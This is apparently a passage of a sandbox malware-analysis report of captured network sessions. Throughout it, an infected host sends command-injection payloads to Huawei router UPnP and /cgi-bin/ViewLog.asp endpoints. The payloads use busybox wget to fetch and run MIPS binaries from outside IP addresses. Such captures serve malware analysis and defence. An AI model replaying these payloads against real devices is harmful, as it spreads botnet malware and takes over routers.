                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:16.505352020 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:53.372294903 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                400192.168.2.155172831.14.131.2478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:40.734951019 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:40.931953907 CET345INHTTP/1.1 404 Not Found
                                                Content-Security-Policy: frame-src 'self' https://traefik.io https://*.traefik.io;
                                                Content-Type: text/plain; charset=utf-8
                                                X-Content-Type-Options: nosniff
                                                Date: Thu, 23 Nov 2023 04:21:40 GMT
                                                Content-Length: 19
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                401192.168.2.154131694.121.138.288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:40.774578094 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                402192.168.2.153295494.73.247.1708080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:40.795558929 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:41.054197073 CET391INHTTP/1.1 405 Not Allowed
                                                Server: Web server
                                                Date: Thu, 23 Nov 2023 04:21:39 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 155
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>Web server</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                403192.168.2.154710631.136.37.228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:40.917646885 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:41.466362000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.586230993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.018266916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:49.626036882 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:58.585877895 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:16.505331993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.372292995 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                404192.168.2.153683631.136.173.848080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:40.921654940 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:41.498303890 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.650325060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.018266916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:49.626043081 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:58.841809988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
